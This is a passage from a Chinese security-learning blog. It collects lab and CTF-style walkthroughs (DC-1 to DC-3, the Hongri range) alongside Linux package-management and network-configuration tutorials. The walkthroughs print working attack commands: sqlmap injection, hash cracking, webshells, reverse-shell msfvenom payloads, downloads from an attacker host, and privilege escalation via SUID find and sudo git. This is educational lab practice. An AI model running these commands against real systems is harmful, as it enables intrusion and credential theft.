用这个命令添加一个免密的root666用户

检查，写入成功了

切换过去，成功了

找到flag文件

成功！

完结撒花！！！

dc3靶机报告

2026-01-27T23:22:43.022Z

先arp-scan -l扫，发现疑似靶机ip——192.168.145.185

nmap进一步扫

分析一下回显：

只开了一个80端口，服务是http，服务是Apache/2.4.18 (Ubuntu)，操作系统是Linux 3.2 - 4.9，

CMS（内容管理系统）是Joomla！

我们打开网页看看，提示本次只存在一个flag，能在提权到root后拿到

nikto（网站安全扫描工具）扫一下，可以帮助我们得到敏感路径，安全问题，以及默认文件

分析回显：

1：apache是2.4.18的，是2016版本，较老（2.4.54是2023的）

2：http debug可能开启，它的作用是让服务器返回调试信息，我们可以通过

curl -X DEBUG url ，去测试

3：安全头缺失

4：敏感目录暴露：

/administrator/ → 登录页面
/tmp/ → 尝试上传文件
/includes/ → 找配置文件（数据库密码）
/bin/ ➡可能包含脚本文件

我们这用joomscan扫以下版本号

1	joomscan --url http://192.168.145.185

回显是3.7.0的版本

并且暴露出来几个目录列表

ps：补充几个常扫CMS的工具

joomscan——joomal

wpscan——wordpress

droopescan——drupal

我们挨个进去看看：

第一个：http://192.168.145.185/administrator/components

第二个：http://192.168.145.185/administrator/modules

第三个：http://192.168.145.185/administrator/templates

第四个：http://192.168.145.182/images/banners/

然后我们用searchsploit看看有没有可以利用的攻击点，看到第一个漏洞就是sql漏洞

我们把这个漏洞文件复制到当前目录然后cat一下

我们来分析一下这个文档，最上面的几个#后标注了这个sql漏洞的基本信息，然后给了一个url示例，接着是sqlmap的攻击示例

最下面是通过跑sqlmap本次攻击用到的几种方法——布尔盲注，报错注，时间盲注

先试试url是否有不一样的回显，别忘了localhost换成靶机ip

1	URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

有回显，可以尝试sqlmap了

“http://192.168.145.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml“ –risk=3 –level=5 –random-agent –dbs -p list[fullordering]

成功爆出数据库名

去看joomladb的所有表，倒数第三个看到了users

1	sqlmap -u "http://192.168.145.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables

接着从users表里面爆列

1	sqlmap -u "http://192.168.145.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

出来六列

只看名字和密码两列

sqlmap -u "http://192.168.145.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

出来了admin和admin的哈希加密密码wsl

然后随便创建一个txt文件把哈希数据存进去，用john来爆破密码

得到密码snoopy

去dc3页面上看登录

如果很了解joomla框架的话，可以知道后台存在模板管理器，我们通过模板编辑功能可以写入恶意代码

位置在/templates/templates

我们在Extensions里面找到了模板文件

进入第一个，这个Beezes3 detail and files，它是joomla的模板编辑入口，可以查看，编辑模板，上传文件

可以看到创建新文件的位置，我们创建新文件写入一句话木马

在分类里面创建一个php文件，获得一个11.php

save创建

蚁剑连接，joomla的模块会单独放在一个templates文件夹里，所以我们根据这个路径连接蚁剑

连接成功，在kali里面建立反弹shell，蚁剑目标机虚拟终端bash连接

下一步就是提权

再开一个攻击端口，导到tmp目录下，用wget下载linux-exploit-suggester

注意，这里用的是https网址，所以我们需要加上一个无需检查证书直接下载的参数——–no-check-certificate

路径如下：

1	wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

然后把我们攻击机的http服务开开

靶机反弹shell也导到tmp目录里
wget http://192.168.145.128:8000/linux-exploit-suggester.sh，通过我们的kali来下载

然后加入可执行权限

1	chmod +x linux-exploit-suggester.sh

然后执行这个这个脚本文件，爆出漏洞列表

1	./linux-exploit-suggester.sh

这把不用脏牛，看很多教程里大神用了双重释放漏洞，这里也用这个漏洞复现提权

为了方便我这里直接在攻击机里面下载解压了

下载
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
解压
unzip 39771.zip
查看
ls -la 39772/

解压exploit的tar文件

cd过去，然后随便开个端口

还是wget下载文件，执行（忽略警告）

提权成功！

python伪终端，然后cd到root

发现the-flag.txt文件

成功找到flag

完结撒花！！

dc系列——dc2

2025-11-26T20:20:06.027Z

总结：

官网提示需要在靶机的host文件中添加靶机映射

1	vim /etc/hosts

其中etc目录中包含了几乎所有系统服务和程序的配置文件，hosts是本地域名解析文件，当浏览器拿到一个域名，会优先去本地查找域名解析，观察其对应ip

vim编辑器添加映射

补充：（cat /etc/passwd可查看用户列表）

*rbash与/bin/bash

前者相当于试用版shell，受限更多，像一个小笼子，要想办法逃逸到/bin/bash，之后再进一步提权

学习一些常用的逃逸手段：

1：看”/“有没有被允许使用，允许直接用/bin/bash(注：本节尝试失败，限制图如下)

2.BASH_CMDS环境变量逃逸（本节可用）

ps：关联数组就是用文字命名的数组

BASH_CMDS[a]='/bin/sh;a'
⬇
#BASH_CMDS 是 Bash 的一个关联数组，用于存储命令别名
#[a]='/bin/sh——创建一个叫a的命令，'/bin/sh;a' 是这个别名对应的值
#/bin/sh意思是启动一个shell
#;命令分隔符
#a再次执行a命令，，形成一个循环（此时以及在新的shell里面了）
⬇
#修复环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
#把一些位于 /bin/ 和 /usr/bin/ 目录的命令路径（如 ls, cat, whoami）添加到 PATH 中，系统才能找到这些命令

3：vi/vim编辑器逃逸（本节可用）

vi/vim 通常被允许在 rbash 环境中使用

vi/vim
#启动编译器
⬇
:set shell=/bin/sh
#:set：vi/vim 的设置命令
#shell=/bin/sh：告诉 vi/vim 当执行外部命令时，使用 /bin/sh 作为 shell，改变了 vi/vim 的默认 shell 解释器
⬇
:shell

#启动shell（/bin/sh）,这个新 shell 不继承 rbash 的限制
⬇
#修复环境变量，同前一种方法
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

CMS是一个可以通过浏览器进行管理的、功能完整的网站应用程序，就是一个建站系统，常用的有我们在dc1里遇见的drupal,还有wordpress，joomla

就是一个能帮助我们轻松建立网站的程序

我们之所以要识别这个CMS，是为了搞清楚在80端口上的那个网页是基于什么程序建立的，从而找到漏洞从这里去突破

nikto进行登录界面的url路径猜测(-h:目标主机)

1	nikto -h XX.XX.XX.XX

cewl爬取这个网站生成自己的字典

1	cewl http://XX.XX.XX.XX -w pass.txt

wpscan扫用户，匹配密码

1 2	wpscan --url http://dc-2 -U admin -P pass.txt wpscan --url http://dc-2 -e u

命令补充

# less查看文件
less /etc/passwd
# 在less中的操作：
# - 空格键：向下翻页
# - b键：向上翻页  
# - /关键词：搜索
# - q键：退出 

#ls略;

#scp——文件传输
# 从本地复制到远程
scp file.txt user@remote:/path/

#vi文本编辑器
# 在vi中的基本操作：
# - i键：进入插入模式
# - Esc键：退出插入模式  
# - :wq：保存并退出
# - :q!：不保存退出

git提权

sudo git -p help config
#git 以 root 权限 启动，调用分页器 less 来显示帮助文本
#因为 git 是 root，所以 less 也以 root 权限 运行
⬇
!/bin/bash
#! = 在分页器中执行外部命令的特殊前缀
#/bin/bash = 要启动的 shell

** 攻击流程： **

扫ip

扫可疑ip

看到常用端口80和7744开启，进一步侵略性扫描

分析得到的关键数据：

80端口对应着web渗透方向，并且我们可以看到这里对应的CMS是wordpress，版本是4.7.10

然后7744端口对应着ssh渗透，可以通过爆破和版本漏洞进行攻击

我们先尝试攻击80端口

输入dc-2登录网页，找到第一个flag入口

translate：你惯用字典或许并不适用，所以不妨换一种方式，也许你需要用cewl。密码越多越好，但大部分时候你很难全部获得。用一个身份登录以获得下一个flag，如果没有，就用另一个身份登录。

提取有效信息：

1.一般字典不行

2.提到了cewl工具

3.需要几个账号密码去登录拿到下一个flag

所以我们下一步用cewl爬取这个网站生成自己的字典

1	cewl http://192.168.145.180 -w dc2password.txt

运行这个命令之后，ceWL会从首页开始爬这个网站所有可以访问链接，默认深度为2（也就是从指定的起始界面0+起始页面上能访问的直接链接1+一层间接链接2）

然后分析所有页面的文本内容，从中提取单词生成一个字典大纲，我们可以从这些包含网站信息的词里猜测密码

cat dc2password.txt发现爆出了很多敏感词汇

然后使用工具wpscan

1	wpscan --url http://dc-2 -e u

–url指定要扫描的目标网站url，后面跟目标网站的网址

-e表示枚举，u是用户

看结果出来三个用户——admin,jerry,tom

继续用wpscan，加上我们之前扫出来的dc-2password字典逐个扫每一个用户名，看能不能找到对应密码

-u指定用户，-p是指定密码字典文件

1	wpscan --url http://dc-2 -U admin -P dc2password.txt

admin

tom——successsed

jerry——successed

所以我们现在得到了两对账户密码，但是没有登录界面

用nikto进行登录界面的url路径猜测

-h 指定扫描的目标主机

1	nikto -h 192.168.145.180

成功找到并且进入登录界面

先用tom登录，成功，但是进去什么也没找到，刚好对应上flag1（被预判了…）

所以用jerry试试..

在pages里找到了flag2

translate:如果wordpress攻击不成功的话，还有另一条路，希望你能找到另一个攻击点

所以：尝试7744的ssh攻击

回到终端，用jerry链接显示permission denied

用tom连接成功

ls，找到flag3.txt➡cat

发现无法查看，被rbash（个人理解是只给用户提供最小权限的一个环境，会比一般shell限制的更多）限制了，所以下一步要从rbash里逃逸

先看看usr里面有什么，发现bin文件里有四个命令

可能是能使用的命令，用less看一下flag3.txt试一试，成功

translate：可怜的老tom总是追在jerry后面，他或许应该把承担的一切都su掉

提示我们用su命令把tom用户转成jerry用户，但是现在权限受制

用vi编辑器成功逃逸rbash

ls之后发现flag4.txt

translate:夸夸你，但是no，hints…走吧…

无脑尝试先提权到root

先sudo -l看看我都被允许用管理员权限运行哪些

回显：jerry用户可以 以root权限运行git（版本控制系统）命令

1 2	sudo git -p help config !/bin/bash

cd并且ls

发现final-flag.txt!

❀❀❀完结撒花！！❀❀❀

Linux 软件包管理教程

2025-11-24T01:31:37.908Z

Rocky Linux8 -YUM/DNF包管理

列出所有启用的仓库

列出所有仓库，包括禁用的

配置仓库

添加 EPEL 仓库

启用或禁用仓库 dnf config-manager – (disable/enable) repository-name

软件包搜索和查询

搜索软件包:

查看软件包详细信息

列出所有可安装的包:

列出已安装的包:

查找提供特定文件的包:

查看包的依赖关系

软件包安装

安装单个软件包

安装多个软件包

从本地rpm文件安装

重新安装软件包

安装软件包组

列出可用的组

检查可更新的软件包

更新单个软件包

更新系统

仅下载更新不安装

卸载软件包

清理不再需要的依赖

清理所有缓存

清理包缓存

清理元数据缓存

清理过期缓存

历史记录管理

查看具体操作详情

撤销/重做/回滚

dnf history undo/redo/rollback 5

Ubuntu 22.04 - APT 包管理

备份原始源文件

编辑软件源

更新包索引（定期执行）

更新并显示可升级的包

搜索软件包

搜索精确匹配

查看包详细信息

列出所有可安装的包

列出已安装的包

列出可升级的包

查找包含特定文件的包

查看包的依赖关系

查看哪些包依赖此包

软件包安装

安装单个软件包

安装多个软件包

安装指定版本的包

apt install nginx=（版本）

安装本地的deb包

仅下载不安装

重新安装软件包

安装推荐的包

不安装推荐的包

软件包更新

更新单个软件包

更新所有软件包

完整升级

发行版升级

软件包卸载

卸载，完全卸载

apt (remove/purge) nginx

卸载不再需要的依赖

清理系统

清理下载的包文件

清理旧版本的包文件

组合清理命令

Ubuntu 22.04 - Snap 包管理

安装snap

查看版本

搜索软件包

查看包的详细信息

列出已安装的snap

查看snap 占用的磁盘空间

安装snap包（稳定版本）’

安装软件包

从特定频道安装

snap install firefox –channel=(beta/edge)

安装经典模式的snap

snap install –classic code

从本地文件安装

更新单个软件包

更新所有软件包

切换到不同的频道

snap refresh firefox –channel=beta

查看可用更新

管理snap 版本

查看已安装的版本

回滚到上一个版本/特定版本

snap revert firefox (–revision 1234)

禁用自动更新（某个包）

！卸载软件包

snap remove firefox

卸载并删除所有版本和数据

snap remove –purge firefox

常见问题与技巧

依赖问题处理

查看损坏的依赖

修复依赖问题

跳过损坏的包

Ubuntu 22.04 (APT)

修复损坏的依赖

apt –fix-broken install

强制修复

锁文件问题

rocky

rm -f /var/run/yum.pid

ubuntu

rm /var/lib/apt/lists/lock

查看包安装的文件

rocky

查看文件属于哪个包

ubuntu

查看已安装的包的文件列表

查看文件属于哪个包

下载包但不安装

rocky

下载包及依赖

指定下载目录

ubuntu

RockyLinux8网络配置

2025-11-17T20:40:52.775Z

查看网络接口列表

command: ip addr show 或 ip a

查看网络接口

command: nmcli connection show

我的网络接口: ens33

查看设备状态

command: nmcli device status

查看特定接口信息

command: ip addr show ens33

查看接口统计信息：

command: ip addr show ens33

nmcli 配置网络

交互式配置

command: nmcli connection edit ens33

先在主机上查看dns地址，子网掩码，网关等信息

command: ipconfig /all (windows)

dns: 192.168.145.254

netmask: 255.255.255.0

网关：192.168.145.1

随后按照信息修改：

激活网络接口：

command: nmcli connection ip ens33

激活成功

单方面配置静态ip并激活网卡:

查看ip:

配置成功

创建新的网络连接

激活并查看ip

ping一下确认网络是通畅的

配置dhcp协议：

消去之前配的静态ip，改为dhcp协议获取的ip地址并激活网卡：

查看ip，发现变回了192.168.145.181

查看连接详情：

command: nmcli connection show ens33

重启和启用网络接口：nmcli connection up/down ens33

设置网卡为开机自启：

删除网络连接：

command: nmcli connection delete ens33

用add方式重建网络连接：

重新删除后让NetworkManager自动检测，用命令: nmcli connection show 来检测是否创建成功

通过配置文件配置网络

可以通过修改BOOTPROTO = (static/dhcp)来切换静态IP和使用dhcp动态ip地址

配置多个ip地址：

创建别的网卡配置文件：

重启网络服务：

发现有两个ip

第二个ip能ping 通：

网络服务管理：

查看服务状态：

command: systemctl status NetworkManager

关闭或打开,重启，开机自启以及禁用开机自启

command: systemctl (start/stop/restart/enable/disable) NetworkManager

查看当前主机名：

command: hostnamectl

设置主机名：

配置dns

通过NetworkManager

测试网络通畅性：

测试网关通畅:

ping -c 4 192.168.145.1

查看路由表：

ip route show

查看网络连接：

command: ss -tunlp

查看监听端口：

command: netstat -tunlp

查看网络流量：

command: ip -s link

查看防火墙状态：

command: firewall-cmd –state

关闭及临时关闭防火墙：

command: systemctl (stop/disable) firewall

开启端口：

command: firewall-cmd –permanent –add-port=80/tcp

重启：firewall-cmd –reload

查看SElinux状态

command: geteforce

临时设置为宽容模式

command: setenforce 0

getenforce

重新扫描硬件：

command: nmcli device reapply ens33

完全重启网络服务：

command: systemctl restart NetworkManager

dc系列靶机——dc1

2025-11-02T01:26:07.778Z

学习补充：

1.工具对比——nmap，arp-scan

使用范围差异场景建议nmap（全/深入）可以跨网段扫描扫描开放端口，跨网段arp-scan（快/隐蔽）只能探测同一局域网内快速发现局域网设备，绕防火墙

综：可以先用arp-scan快速定位目标，找存活主机，再用nmap深度扫描端口服务

2.SMB协议：是 Windows网络文件共享的基础协议，在内网渗透中比较重要，是横向移动的主要通道，能让电脑之间通过网络互相传文件

3.伪终端：python -c ‘import pty; pty.spawn(“/bin/bash”)’

4.哈希密码加盐

5./ect/passwd文件与/ect/shadow文件

6./bin/bash

7.有suid位的find提权

先扫ip

侵略性扫一下端口

可以观察到开了三个端口：22，80，111，提供的服务分别对应着ssh远程管理，http运行网站服务，rpcbind远程过程调用服务

所以对应这几个端口的渗透方向：

22：ssh渗透——爆破，版本漏洞

80：web渗透

111：RPC信息收集

同时还能了解靶机技术栈的一些组成部分

我们在网站服务上看到了运行apache，初步确定了是web服务器

以及下面的running可以发现操作系统是linux

应用层部分有Drupal——（由CMS和php开发框架共同构成）

在主机上访问https://192.168.145.156

根据我们上面搜集到的信息，该网站是使用Drupal 7的CMS搭建的

打开msf搜drupal 7的框架

选择第二个框架进行攻击

options一下发现需要补全RHOSTS

利用python脚本构造一个伪终端，使得正常终端的功能得以实现

伪终端执行命令

python -c ‘import pty; pty.spawn(“/bin/bash”)’

like：tab键补全，ctrl-c正常用，还能执行一些交互性命令

查看一下文件列表，发现flag1

1 2	flag1：Every good CMS needs a config file - and so do you.

cat一下

:内容提示我们去找config file——配置文件——setting

选择文件夹一个个打开找….

在sites文件里面发现一个奇怪的default，进去看看

找到了settings.php，cat，报出了flag2

flag2：force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).

 * What can you do with these credentials?

flag2提示我们找凭据，下面刚好报了数据库信息：

库名：drupaldb

用户名：dbuser

密码：R0ck3t

端口默认·3306

数据库类型mysqlm

输入用户名和密码进入mysql客户端环境

选择drupaldb数据库

查看表

发现users表

观察这里存储的密码基本都是哈希值——（$S$开头），并且是加盐过的（也就是在变哈希值前在原始密码中加入随机字符串，因为同一个字符串生成的哈希值是唯一不变的，这样做，能使得生成的哈希值是独一无二的，可以保护常见的密码不受攻击）

很难破解，所以我们选择直接退出去修改一下admin的密码

php命令生成一下想要密码的哈希值：

1 2	php scripts/password-hash.sh 新密码 //执行php解释器 drupal自带的密码哈希生成脚本新密码

复制hash值，然后用sql的update命令来重置一下admin密码

1	update users set pass = "hash" where uid="admin";

用新密码去登录，成功

进dashboard仪表盘看看，发现flag3

1 2	flag3：Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

分析一下这个flag：

1.special perms——我们需要特殊权限才能找到密码

2.-exec命令——是find命令的一个核心参数，允许对找到的文件执行任意命令

3.shadow：

学习两个linux系统中最重要的用户认证文件——/ect/passwd文件和/ect/shadow文件

这两个文件都存储了系统所有用户的用户名列表，但后者中还有用户名的密码哈希值，也就是说前者任意权限都能看，而后者只有root能看

意味着，我们后续要进行提权操作

先看一下/etc/passwd文件，发现了flag4用户!!并且有bin/bash——/bin/bash代表这个用户可以通过找到密码手动登录

（还有mysql服务，和ssh服务，22端口和3306端口都是运行状态）

下一步用find提权查看/etc/shadow中的flag4密码，尝试登录flag4用户，进去看看有没有有用的flag信息

检查find是否有suid位，输出有s！表示find有suid位，表示，只要执行find命令，就会以root权限运行！

suid位：

像一个提权令牌，普通用户在运行有suid命令时，会临时获得root的身份

touch一个text文件假装查找，执行find语句之后立刻能切换到root权限

提权

1 2	find / -name text -exec /bin/sh \; //find [搜索路径] [搜索条件] -exec [要执行的命令] \; [控制选项]

进入root

找到flag4！

flag4:Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

提示我们去根目录root里面看看

❀❀❀完结撒花！！！❀❀❀

红日靶场web服务器渗透

2025-10-30T23:03:50.550Z

一：有关信息收集，漏洞发现，漏洞利用的攻击链

工具——nmap，arp-scan

使用范围差异

场景建议

nmap（全/深入）

可以跨网段扫描

扫描开放端口，跨网段

arp-scan（快/隐蔽）

探测同一网段内

快速发现局域网设备，绕防火墙

综：可以先用arp-scan快速定位目标，找存活主机，再用nmap深度扫描端口服务

先用arp-scan扫，更快，也可用 nmap -sn ….

再用Nmap 粗略扫一下该ip的端口开放情况：

基本确定，用Nmap 半开扫描，侵略扫描（此时kali开了root权限，-A直接包含-sT，-sV，-O）

-p-全端口扫描

-oN输出结果到hongri.txt

分析结果：版本：win7 profrssional sp1（存在大量公开漏洞），操作系统：微软windows，主机名STU1,域名：GOD.ORG

关键开放端口：445/tcp——SMB服务，可利用ms17-010，极高危漏洞

1026-1028/tcp——RPC动态端口，可以服务枚举攻击，中危漏洞

并且smb签名禁用了，说明允许中间人攻击

针对漏洞扫一下，检查有没有已知的高危漏洞

发现永恒之蓝存在，为高风险等级，优先攻击它以拿到system权限，然后提取哈希凭证，再进行内网横向移动

并且我们得知了域名，后续可以尝试渗透整个GOD域

二：ms17-010永恒之蓝漏洞

Root权限下进入msfconsole

搜索ms17-010(永恒之蓝)漏洞

使用第一个

msfvenom制作exe病毒来获取反弹shell

配置有效载荷的参数

运行：

成功获取对方win7 web 服务器的管理员shell

三：数据库webshell写入一句话木马

用kali进入win7的phpMyadmin

弱密码（root/root）登录后以root用户在对方web服务器的phpMyAdmin 中查看全局日志所在位置

执行该语句后发现路径为C:/phpStudy /MySQL/data/stu1.log

将全局日志打开：

更改全局日志的名字为hr.php，并将其放在网站的根目录下

随后写入一句话木马，由于该语句在运行时会报错，会被写入日志中，而日志又为php文件，所以我们通过AntSword来连接

蚁剑连接：

成功GET WEBSHELL

*后台弱口令爆破 + 模板注入GETSHELL()

对后台登录页面用bp进行弱口令爆破，发现管理员用户： admin & 123456，直接登录后台

通过点击查看，可以发现到

URL:http://192.168.145.173:80/yxcms/index.php?r=admin/index/index# 可以进行写入php文件

新建一个shell.php文件

写入一句话木马：

通过查看yxcms的帮助手册得知，”模板”的文件路径为：

/protected/apps/default/view/default/shell.php

AntSword成功连接木马：

Get Web Shell！:

补充：MSF载荷及防火墙绕过

shell是 一个攻击机遥控受害机的遥控器

载荷（payload）是漏洞利用成功后在受害系统上运行的代码

1.正向shell与反向shell区别：

bind_tcp：是靶机主动连接攻击机的ip与端口，建立shell连接，易受防火墙的影响（LPORT）

reverse_tcp：则第一步是靶机主动发起连接（LHOST，LPORT）

什么场景下更适合使用反向 shel1? 什么场景下更适合使用正向 shel1?

・如果是初次渗透：能出内网默认用反向，因为防火墙对出栈检测比较弱，内网隔离环境用正向

・如果有持久化的后门，优先用反向，因为攻击机ip的变化不不影响，并且能绕过出栈防火墙

这里我们的攻击机是 kali：192.168.145.128，目标机是win7：192.168.145.160

区分： 正向里LPORT是目标机win7端口，反向则是攻击机kali端口

2.有关msf

Msf venom

生成恶意程序

Exploit模块

利用漏洞 执行

Multi/Handler

接收连接

数据库模块

扫描结果

正向链接演示：

msfvenom -p windows /x64/meterpreter/bind_tcp L PORT=5555 -f exe -o b_op.exe

恶意程序/payload/目标操作系统/系统架构/载荷类型—高级交互shell/连接方式/地址/文件格式

所以：b_op.exe运行后，目标机（win7 ）的5555端口开启监听

复制到win7去

Ps：root mv

msfconsole
use exploit/multi/handler ：通用载荷处理器
set payload windows/x64/meterpreter/bind_tcp ：正向shell
set RHOST 192.168.145.160
set LPORT 5555

run！win7打开恶意文件之后回显成功

反向连接演示：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.145.128 LPORT=9999 -f exe -o r_op.exe

其余类比bind _shell ，注意LPORT指的是kali的端口

配置参数：

运行后 成功得到目标主机的shell

补充一个PTY（伪终端模块）升级命令：

python -c ‘import pty; pty.spawn(“/bin/bash”)’

升级之后ctrlc功能正常，可以快捷键补全，响应快

防火墙加固

win7

进入任务管理器把刚才的b_op.exe和r_op.exe结束进程，然后建立新的出站规则

仅通过配置出站规则，能否有效防御所有反向连接？

・不能，攻击者可能采用端口欺骗（比如用 80，443 端口等），协议伪装（比如看起来像 DNS 域名查询或浏览网页）

除了基于端口的防火墙规则，还有哪些更高级的加固手段可以防御此类攻击？

・使用白名单 —— 只允许特定程序访问，其他一律阻止

Lee's SecLab

科来流量分析与 MCP 自动化

相关文章

HTTP 方法枚举与 PUT 风险：从 OPTIONS 探测到配置加固

学习目标

实验说明

原始实验记录

HTTP 方法枚举

PUT攻击

防御与复盘

原文出处

相关文章

无字符 WebShell：PHP 表达式构造与代码审计

学习目标

实验说明

原始实验记录

防御与复盘

原文出处

相关文章

winXP栈溢出漏洞深度学习

相关文章

cat命令注入绕过检测规则的自动化生成

CRSRuleMiner

目录与项目简介

开发环境与背景说明

整体项目架构及文件说明

主要功能与核心代码

实验结果与打包

页面 12

图示

第 13 页

第 14 页

第 15 页

第 16 页

第 17 页

第 18 页

第 19 页

第 20 页

第 21 页

第 22 页

第 23 页

第 24 页

第 25 页

第 26 页

作品原创性声明

相关文章

Flask SSTI：过滤条件下的模板注入分析

学习目标

实验说明

原始实验记录

星愿信箱；

[玄武杯 2025]锦家有什么

防御与复盘

原文出处

相关文章

SQLite 注入与 Next.js 页面入口分析

学习目标

实验说明

原始实验记录

[GHCTF 2025]SQL???

测试代码

学习一下SQLite：

[LitCTF 2025]nest_js

防御与复盘

原文出处

相关文章

dc9打靶报告

相关文章

dc8靶机报告

3.4 反弹Shell

利用Exim提权

完结撒花！！

相关文章

dc7打靶报告

相关文章

tomato渗透报告

ssh -l ‘ ‘ 192.168.145.182 -p 2211

Kali下载编译（用不同exp）

目标机

相关文章

反向连接演示：